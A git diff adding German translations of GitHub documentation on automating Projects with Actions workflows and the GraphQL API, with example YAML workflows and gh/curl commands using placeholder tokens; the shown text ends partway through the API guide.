diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md
new file mode 100644
index 0000000000..1f197568fb
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md
@@ -0,0 +1,571 @@
+---
+title: 'Automatisieren von {% data variables.product.prodname_projects_v2 %} mithilfe von Aktionen'
+shortTitle: Automating with Actions
+intro: 'Du kannst deine Projekte mit {% data variables.product.prodname_actions %} automatisieren.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/automating-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: c21e201e538d09826bd0d00f22fe60508c9d6a61
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106845'
+---
+## {% data variables.product.prodname_actions %}-Workflows
+
+In diesem Abschnitt wird veranschaulicht, wie du die GraphQL-API und {% data variables.product.prodname_actions %} verwenden kannst, um einen Pull Request zu einem Organisationsprojekt hinzuzufügen. Wenn der Pull Request in den Beispielworkflows als „Bereit zur Überprüfung“ gekennzeichnet ist, wird dem Projekt ein neuer Auftrag hinzugefügt. Bei diesem Auftrag wird das Feld „Status“ auf „Aufgaben“ festgelegt, und das aktuelle Datum wird einem benutzerdefinierten „Bereitstellungsdatum“-Feld hinzugefügt.
+
+Du kannst einen der nachstehenden Workflows kopieren und wie in der folgenden Tabelle beschrieben so ändern, dass er deinen Anforderungen entspricht.
+
+Ein Projekt kann mehrere Repositorys umfassen, ein Workflow ist jedoch für ein Repository spezifisch. Füge den Workflow zu allen Repositorys hinzu, die das Projekt nachverfolgen soll. Weitere Informationen zum Erstellen von Workflowdateien findest du unter [Schnellstart für {% data variables.product.prodname_actions %}](/actions/quickstart).
+
+In diesem Artikel wird ein grundlegendes Verständnis von {% data variables.product.prodname_actions %} vorausgesetzt. Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter [{% data variables.product.prodname_actions %}](/actions).
+
+Weitere Informationen zu sonstigen Änderungen, die du an deinem Projekt über die API vornehmen kannst, findest du unter [Verwenden der API zum Verwalten von Projekten](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects).
+
+Möglicherweise möchtest du auch den **actions/add-to-project**-Workflow verwenden, der von {% data variables.product.company_short %} verwaltet wird und das aktuelle Issue bzw. den aktuellen Pull Request dem angegebenen Projekt hinzufügt. Weitere Informationen findest du im [actions/add-to-project](https://github.com/actions/add-to-project)-Repository und der zugehörigen README.
+
+{% note %}
+
+**Hinweis:** `GITHUB_TOKEN` wird auf die Repositoryebene festgelegt und kann nicht auf {% data variables.projects.projects_v2 %} zugreifen. Wenn du auf {% data variables.projects.projects_v2 %} zugreifen möchtest, kannst du entweder eine {% data variables.product.prodname_github_app %} (für Organisationsprojekte empfohlen) oder ein {% data variables.product.pat_generic %} (für Benutzerprojekte empfohlen) erstellen. Unten werden Workflowbeispiele für beide Ansätze gezeigt.
+
+{% endnote %}
+
+### Beispielworkflow für die Authentifizierung mit einer {% data variables.product.prodname_github_app %}
+
+1. Erstelle eine {% data variables.product.prodname_github_app %}, oder wähle eine vorhandene {% data variables.product.prodname_github_app %} im Besitz deiner Organisation aus. Weitere Informationen findest du unter [Erstellen einer {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app).
+2. Weise deiner {% data variables.product.prodname_github_app %} Lese- und Schreibberechtigungen für Organisationsprojekte zu. Weitere Informationen findest du unter [Bearbeiten der Berechtigungen einer {% data variables.product.prodname_github_app %}](/developers/apps/managing-github-apps/editing-a-github-apps-permissions).
+
+   {% note %}
+
+   **Hinweis:** Du kannst die Berechtigung deiner App für Organisationsprojekte und Repositoryprojekte steuern. Du musst die Berechtigung zum Lesen und Schreiben von Organisationsprojekten erteilen. Die Lese- und Schreibberechtigung für Repositoryprojekte ist nicht ausreichend.
+
+   {% endnote %}
+
+3. Installiere die {% data variables.product.prodname_github_app %} in deiner Organisation. Installiere sie für alle Repositorys, auf die dein Projekt zugreifen muss. Weitere Informationen findest du unter [Installieren von {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository).
+4. Speichere die ID der {% data variables.product.prodname_github_app %} als Geheimnis in deinem Repository oder deiner Organisation. Ersetze `APP_ID` im folgenden Workflow durch den Namen des Geheimnisses. Du kannst die App-ID auf der Einstellungsseite deiner App oder durch die App-API finden. Weitere Informationen findest du unter [Apps](/rest/reference/apps#get-an-app).
+5. Generiere einen privaten Schlüssel für deine App. Speichere den Inhalt der resultierenden Datei als Geheimnis in deinem Repository oder deiner Organisation. (Speichere den gesamten Inhalt der Datei, einschließlich `-----BEGIN RSA PRIVATE KEY-----` und `-----END RSA PRIVATE KEY-----`.) Ersetze `APP_PEM` im folgenden Workflow durch den Namen des Geheimnisses. Weitere Informationen findest du unter [Authentifizieren mit {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key).
+6. Ersetze `YOUR_ORGANIZATION` im folgenden Workflow durch den Namen deiner Organisation. Beispiel: `octo-org`. Ersetze `YOUR_PROJECT_NUMBER` durch deine Projektnummer. Sieh dir die URL des Projekts an, um die Projektnummer zu ermitteln. `https://github.com/orgs/octo-org/projects/5` hat beispielsweise die Projektnummer 5.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Add PR to project
+on:
+  pull_request:
+    types:
+      - ready_for_review
+jobs:
+  track_pr:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Generate token
+        id: generate_token
+        uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0
+        with:
+          app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %}
+          private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %}
+
+      - name: Get project data
+        env:
+          GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+          ORGANIZATION: YOUR_ORGANIZATION
+          PROJECT_NUMBER: YOUR_PROJECT_NUMBER
+        run: |
+          gh api graphql -f query='
+            query($org: String!, $number: Int!) {
+              organization(login: $org){
+                projectV2(number: $number) {
+                  id
+                  fields(first:20) {
+                    nodes {
+                      ... on ProjectV2Field {
+                        id
+                        name
+                      }
+                      ... on ProjectV2SingleSelectField {
+                        id
+                        name
+                        options {
+                          id
+                          name
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json
+
+          echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV
+          echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV
+          echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV
+          echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV
+
+      - name: Add PR to project
+        env:
+          GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+          PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %}
+        run: |
+          item_id="$( gh api graphql -f query='
+            mutation($project:ID!, $pr:ID!) {
+              addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) {
+                item {
+                  id
+                }
+              }
+            }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')"
+
+            echo 'ITEM_ID='$item_id >> $GITHUB_ENV
+
+      - name: Get date
+        run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV
+
+      - name: Set fields
+        env:
+          GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+        run: |
+          gh api graphql -f query='
+            mutation (
+              $project: ID!
+              $item: ID!
+              $status_field: ID!
+              $status_value: String!
+              $date_field: ID!
+              $date_value: Date!
+            ) {
+              set_status: updateProjectV2ItemFieldValue(input: {
+                projectId: $project
+                itemId: $item
+                fieldId: $status_field
+                value: { 
+                  singleSelectOptionId: $status_value
+                  }
+              }) {
+                projectV2Item {
+                  id
+                  }
+              }
+              set_date_posted: updateProjectV2ItemFieldValue(input: {
+                projectId: $project
+                itemId: $item
+                fieldId: $date_field
+                value: { 
+                  date: $date_value
+                }
+              }) {
+                projectV2Item {
+                  id
+                }
+              }
+            }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent
+
+```
+
+### Beispielworkflow für die Authentifizierung mit einem {% data variables.product.pat_generic %}
+
+1. Erstelle ein {% data variables.product.pat_v1 %} mit den Bereichen `project` und `repo`. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+2. Speichere das {% data variables.product.pat_generic %} als geheimen Schlüssel in deinem Repository oder deiner Organisation.
+3. Ersetze `YOUR_TOKEN` im folgenden Workflow durch den Namen des Geheimnisses. Ersetze `YOUR_ORGANIZATION` durch den Namen deiner Organisation. Beispiel: `octo-org`. Ersetze `YOUR_PROJECT_NUMBER` durch deine Projektnummer. Sieh dir die URL des Projekts an, um die Projektnummer zu ermitteln. `https://github.com/orgs/octo-org/projects/5` hat beispielsweise die Projektnummer 5.
+
+```yaml{:copy}
+name: Add PR to project
+on:
+  pull_request:
+    types:
+      - ready_for_review
+jobs:
+  track_pr:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Get project data
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+          ORGANIZATION: YOUR_ORGANIZATION
+          PROJECT_NUMBER: YOUR_PROJECT_NUMBER
+        run: |
+          gh api graphql -f query='
+            query($org: String!, $number: Int!) {
+              organization(login: $org){
+                projectV2(number: $number) {
+                  id
+                  fields(first:20) {
+                    nodes {
+                      ... on ProjectV2Field {
+                        id
+                        name
+                      }
+                      ... on ProjectV2SingleSelectField {
+                        id
+                        name
+                        options {
+                          id
+                          name
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }' -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json
+
+          echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV
+          echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV
+          echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV
+          echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV
+
+      - name: Add PR to project
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+          PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %}
+        run: |
+          item_id="$( gh api graphql -f query='
+            mutation($project:ID!, $pr:ID!) {
+              addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) {
+                item {
+                  id
+                }
+              }
+            }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')"
+
+            echo 'ITEM_ID='$item_id >> $GITHUB_ENV
+
+      - name: Get date
+        run: echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV
+
+      - name: Set fields
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+        run: |
+          gh api graphql -f query='
+            mutation (
+              $project: ID!
+              $item: ID!
+              $status_field: ID!
+              $status_value: String!
+              $date_field: ID!
+              $date_value: Date!
+            ) {
+              set_status: updateProjectV2ItemFieldValue(input: {
+                projectId: $project
+                itemId: $item
+                fieldId: $status_field
+                value: { 
+                  singleSelectOptionId: $status_value
+                  }
+              }) {
+                projectV2Item {
+                  id
+                  }
+              }
+              set_date_posted: updateProjectV2ItemFieldValue(input: {
+                projectId: $project
+                itemId: $item
+                fieldId: $date_field
+                value: { 
+                  date: $date_value
+                }
+              }) {
+                projectV2Item {
+                  id
+                }
+              }
+            }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent
+
+```
+
+### Erklärung des Workflows
+
+In der folgenden Tabelle werden Abschnitte der Beispielworkflows erklärt, und es wird veranschaulicht, wie du die Workflows zur eigenen Verwendung anpassen kannst.
+
+<table class="table-fixed">
+
+<tr>
+<td>
+
+```yaml
+on:
+  pull_request:
+    types:
+      - ready_for_review
+```
+
+</td>
+<td>
+Dieser Workflow wird ausgeführt, wenn ein Pull Request im Repository als „Bereit zur Überprüfung“ gekennzeichnet ist.
+</td>
+</tr>
+
+<tr>
+<td>
+
+Nur für {% data variables.product.prodname_github_app %}:
+
+```yaml
+- name: Generate token
+  id: generate_token
+  uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0
+  with:
+    app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %}
+    private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %}
+```
+
+</td>
+<td>
+Der Workflow verwendet <a href="https://github.com/tibdex/github-app-token">tibdex/github-app-token action</a>, um aus der App-ID und dem privaten Schlüssel ein Installationszugriffstoken für deine App zu generieren. Auf das Installationszugriffstoken wird später im Workflow als <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code> zugegriffen.
+<br>
+<br>
+Ersetze <code>APP_ID</code> durch den Namen des Geheimnisses, das deine App-ID enthält.
+<br>
+<br>
+Ersetze <code>APP_PEM</code> durch den Namen des Geheimnisses, das deinen privaten App-Schlüssel enthält.
+</td>
+</tr>
+
+<tr>
+<td>
+
+{% data variables.product.prodname_github_app %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+  ORGANIZATION: YOUR_ORGANIZATION
+  PROJECT_NUMBER: YOUR_PROJECT_NUMBER
+```
+
+{% data variables.product.pat_generic_caps %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+  ORGANIZATION: YOUR_ORGANIZATION
+  PROJECT_NUMBER: YOUR_PROJECT_NUMBER
+```
+
+</td>
+<td>
+Der Workflow legt Umgebungsvariablen für diesen Schritt fest.
+<br>
+<br>
+Wenn du ein {% data variables.product.pat_generic %} verwendest, ersetze <code>YOUR_TOKEN</code> durch den Namen des Geheimnisses, das dein {% data variables.product.pat_generic %} enthält.
+<br>
+<br>
+Ersetze <code>YOUR_ORGANIZATION</code> durch den Namen deiner Organisation. Beispiel: <code>octo-org</code>.
+<br>
+<br>
+Ersetze <code>YOUR_PROJECT_NUMBER</code> durch deine Projektnummer. Sieh dir die URL des Projekts an, um die Projektnummer zu ermitteln. <code>https://github.com/orgs/octo-org/projects/5</code> hat beispielsweise die Projektnummer 5.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+gh api graphql -f query='
+  query($org: String!, $number: Int!) {
+    organization(login: $org){
+      projectV2(number: $number) {
+        id
+        fields(first:20) {
+          nodes {
+            ... on ProjectV2Field {
+              id
+              name
+            }
+            ... on ProjectV2SingleSelectField {
+              id
+              name
+              options {
+                id
+                name
+              }
+            }
+          }
+        }
+      }
+    }
+  }'  -f org=$ORGANIZATION -F number=$PROJECT_NUMBER > project_data.json
+```
+
+</td>
+<td>
+<p>Dieser Workflow verwendet die <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a>, um die API für die ID des Projekts abzurufen und den Namen und die ID der ersten 20 Felder im Projekt zurückzugeben. <code>fields</code> gibt eine Vereinigung zurück, und die Abfrage verwendet Inlinefragmente (<code>... on</code>), um Informationen zu den beliebigen Feldern <code>ProjectV2Field</code> und <code>ProjectV2SingleSelectField</code> zurückzugeben.</p>
+
+<p>Die Antwort wird in einer Datei mit dem Namen <code>project_data.json</code> gespeichert.</p>
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+echo 'PROJECT_ID='$(jq '.data.organization.projectV2.id' project_data.json) >> $GITHUB_ENV
+echo 'DATE_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Date posted") | .id' project_data.json) >> $GITHUB_ENV
+echo 'STATUS_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .id' project_data.json) >> $GITHUB_ENV
+echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Status") | .options[] | select(.name=="Todo") |.id' project_data.json) >> $GITHUB_ENV
+```
+
+</td>
+<td>
+Der Workflow analysiert die Antwort der API-Abfrage und speichert die relevanten IDs als Umgebungsvariablen. Ändere dies, um die ID verschiedener Felder oder Optionen abzurufen. Beispiel:
+<ul>
+<li>Füge <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code> hinzu, um die ID eines Felds namens <code>Team</code> abzurufen.</li>
+<li>Füge <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code> hinzu, um die ID einer Option namens <code>Octoteam</code> für das Einfachauswahlfeld <code>Team</code> abzurufen.</li>
+</ul>
+<strong>Hinweis:</strong> Bei diesem Workflow wird davon ausgegangen, dass du über ein Projekt mit einem einzelnen Auswahlfeld namens „Status“ verfügst, das die Option „Aufgaben“ und das Datumsfeld „Bereitstellungsdatum“ enthält. Du musst diesen Abschnitt ändern, um ihn den in der Tabelle vorhandenen Feldern anzupassen.
+</td>
+</tr>
+
+<tr>
+<td>
+
+{% data variables.product.prodname_github_app %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+  PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %}
+```
+
+{% data variables.product.pat_generic_caps %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+  PR_ID: {% raw %}${{ github.event.pull_request.node_id }}{% endraw %}
+```
+
+</td>
+<td>
+Der Workflow legt Umgebungsvariablen für diesen Schritt fest. <code>GITHUB_TOKEN</code> wird oben beschrieben. <code>PR_ID</code> ist die ID des Pull Requests, der diesen Workflow ausgelöst hat.
+
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+item_id="$( gh api graphql -f query='
+  mutation($project:ID!, $pr:ID!) {
+    addProjectV2ItemById(input: {projectId: $project, contentId: $pr}) {
+      item {
+        id
+      }
+    }
+  }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectV2ItemById.item.id')"
+```
+
+</td>
+<td>
+Der Workflow verwendet <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> und die API, um den Pull Request hinzuzufügen, der den Workflow dieses Projekts ausgelöst hat. Das <code>jq</code>-Flag analysiert die Antwort, um die ID des erstellten Elements abzurufen.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+echo 'ITEM_ID='$item_id >> $GITHUB_ENV
+```
+
+</td>
+<td>
+Der Workflow speichert die ID des erstellten Elements als Umgebungsvariable.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV
+```
+
+</td>
+<td>
+Der Workflow speichert das aktuelle Datum als Umgebungsvariable im <code>yyyy-mm-dd</code>-Format.
+</td>
+</tr>
+
+<tr>
+<td>
+
+{% data variables.product.prodname_github_app %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+```
+
+{% data variables.product.pat_generic_caps %}:
+
+```yaml
+env:
+  GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %}
+```
+
+</td>
+<td>
+Der Workflow legt Umgebungsvariablen für diesen Schritt fest. <code>GITHUB_TOKEN</code> wird oben beschrieben.
+
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml
+gh api graphql -f query='
+  mutation (
+    $project: ID!
+    $item: ID!
+    $status_field: ID!
+    $status_value: String!
+    $date_field: ID!
+    $date_value: Date!
+  ) {
+    set_status: updateProjectV2ItemFieldValue(input: {
+      projectId: $project
+      itemId: $item
+      fieldId: $status_field
+      value: { 
+        singleSelectOptionId: $status_value
+        }
+    }) {
+      projectV2Item {
+        id
+        }
+    }
+    set_date_posted: updateProjectV2ItemFieldValue(input: {
+      projectId: $project
+      itemId: $item
+      fieldId: $date_field
+      value: { 
+        date: $date_value
+      }
+    }) {
+      projectV2Item {
+        id
+      }
+    }
+  }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent
+```
+
+</td>
+<td>
+Der Workflow legt den Wert des Felds <code>Status</code> auf <code>Todo</code> fest. Der Workflow legt den Wert des Felds <code>Date posted</code> fest.
+</td>
+</tr>
+
+</table>
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md
new file mode 100644
index 0000000000..55e44851fb
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md
@@ -0,0 +1,23 @@
+---
+title: 'Automatisieren deiner {% data variables.projects.project_v2 %}'
+shortTitle: 'Automating {% data variables.projects.projects_v2 %}'
+intro: 'Erfahre, wie du deine Projekte mithilfer der integrierten Workflows {% data variables.product.prodname_actions %} und der API automatisierst.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /using-the-built-in-automations
+  - /using-the-api-to-manage-projects
+  - /automating-projects-using-actions
+  - /archiving-items-automatically
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 9187012a572af445192343af1b1ba121ae442087
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107229'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md
new file mode 100644
index 0000000000..729c64d9f2
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md
@@ -0,0 +1,780 @@
+---
+title: 'Verwalten von {% data variables.product.prodname_projects_v2 %} mit der API'
+shortTitle: Automating with the API
+intro: 'Du kannst die GraphQL-API verwenden, um deine Projekte zu automatisieren.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 9deedb6f9940afd509eeaf974abd916a0cb5f5a0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107245'
+---
+In diesem Artikel wird veranschaulicht, wie du die GraphQL-API verwendest, um ein Projekt zu verwalten. Weitere Informationen zum Verwenden der API in einem {% data variables.product.prodname_actions %}-Workflow findest du unter [Automatisieren von {% data variables.product.prodname_projects_v2 %} mit Aktionen](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). Eine vollständige Liste der verfügbaren Datentypen findest du unter [Referenz](/graphql/reference).
+
+{% data reusables.projects.graphql-deprecation %}
+
+## Authentifizierung
+
+{% curl %}
+
+Ersetze `TOKEN` in allen folgenden cURL-Beispielen durch ein Token, das den Bereich `read:project` (für Abfragen) oder `project` (für Abfragen und Mutationen) aufweist. Das Token kann ein {% data variables.product.pat_v1 %} für einen Benutzer oder ein Installationszugriffstoken für eine {% data variables.product.prodname_github_app %} sein. Weitere Informationen zum Erstellen eines {% data variables.product.pat_generic %} findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token). Weitere Informationen zum Erstellen eines Installationszugriffstokens für eine {% data variables.product.prodname_github_app %} findest du unter [Authentifizieren mit {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app).
+
+{% endcurl %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Bevor du {% data variables.product.prodname_cli %}-Befehle ausführen kannst, musst du dich authentifizieren, indem du `gh auth login --scopes "project"` ausführst. Wenn du für Projekte nur Lese- aber keinen Schreibzugriff benötigst, kannst du den `read:project`-Bereich anstelle von `project` bereitstellen. Weitere Informationen zur Befehlszeilenauthentifizierung findest du unter [gh auth login](https://cli.github.com/manual/gh_auth_login).
+
+{% endcli %}
+
+{% cli %}
+
+## Verwenden von Variablen
+
+In allen folgenden Beispielen kannst du Variablen verwenden, um deine Skripts zu vereinfachen. Verwende `-F` zum Übergeben einer Variable, die eine Zahl, ein boolescher Wert oder NULL ist. Verwende für alle andere Variablen `-f`. Beispiel:
+
+```shell
+my_org="octo-org"
+my_num=5
+gh api graphql -f query='
+  query($organization: String! $number: Int!){
+    organization(login: $organization){
+      projectV2(number: $number) {
+        id
+      }
+    }
+  }' -f organization=$my_org -F number=$my_num
+```
+
+Weitere Informationen findest du unter [Erstellen von Anrufen mit GraphQL](/graphql/guides/forming-calls-with-graphql#working-with-variables).
+
+{% endcli %}
+
+## Suchen nach Informationen zu Projekten
+
+Verwende Abfragen, um Daten zu Projekten abzurufen. Weitere Informationen findest du unter [Informationen zu Abfragen](/graphql/guides/forming-calls-with-graphql#about-queries).
+
+### Suchen der Knoten-ID eines Organisationsprojekts
+
+Um dein Projekt über die API zu aktualisieren, musst du die Knoten-ID des Projekts kennen.
+
+Zum Suchen der Knoten-ID eines Organisationsprojekts benötigst du den Namen und die Projektnummer der Organisation. Ersetze `ORGANIZATION` durch den Namen deiner Organisation. Beispiel: `octo-org`. Ersetze `NUMBER` durch die Projektnummer. Sieh dir die URL des Projekts an, um die Projektnummer zu finden. `https://github.com/orgs/octo-org/projects/5` hat beispielsweise die Projektnummer 5.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"query{organization(login: \"ORGANIZATION\") {projectV2(number: NUMBER){id}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+    organization(login: "ORGANIZATION"){
+      projectV2(number: NUMBER) {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+Du kannst auch nach den Knoten-IDs aller Projekte in deiner Organisation suchen. Im folgenden Beispiel werden die Knoten-IDs und Titel der ersten 20 Projekte in einer Organisation zurückgegeben. Ersetze `ORGANIZATION` durch den Namen deiner Organisation. Beispiel: `octo-org`.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"{organization(login: \"ORGANIZATION\") {projectsV2(first: 20) {nodes {id title}}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+    organization(login: "ORGANIZATION") {
+      projectsV2(first: 20) {
+        nodes {
+          id
+          title
+        }
+      }
+    }
+  }'
+```
+{% endcli %}
+
+### Suchen der Knoten-ID eines Benutzerprojekts 
+
+Um dein Projekt über die API zu aktualisieren, musst du die Knoten-ID des Projekts kennen.
+
+Zum Suchen der Knoten-ID eines Benutzerprojekts benötigst du die Projektnummer. Ersetzen Sie `USER` durch Ihren Benutzernamen. Beispiel: `octocat`. Ersetze `NUMBER` durch deine Projektnummer. Sieh dir die URL des Projekts an, um die Projektnummer zu ermitteln. `https://github.com/users/octocat/projects/5` hat beispielsweise die Projektnummer 5.
+
+{% curl %}
+```shell
+curl --request POST \
+  --url https://api.github.com/graphql \
+  --header 'Authorization: Bearer TOKEN' \
+  --data '{"query":"query{user(login: \"USER\") {projectV2(number: NUMBER){id}}}"}'
+```
+{% endcurl %}
+
+{% cli %}
+```shell
+gh api graphql -f query='
+  query{
+    user(login: "USER"){
+      projectV2(number: NUMBER) {
+        id
+      }
+    }
+  }'
+```
+{% endcli %}
+
+Du kannst auch nach den Knoten-IDs für alle deine Projekte suchen. Im folgenden Beispiel werden die Knoten-IDs und Titel deiner ersten 20 Projekte zurückgegeben. Ersetze `USER` durch deinen Benutzernamen. Beispiel: `octocat`.
+
+{% curl %}
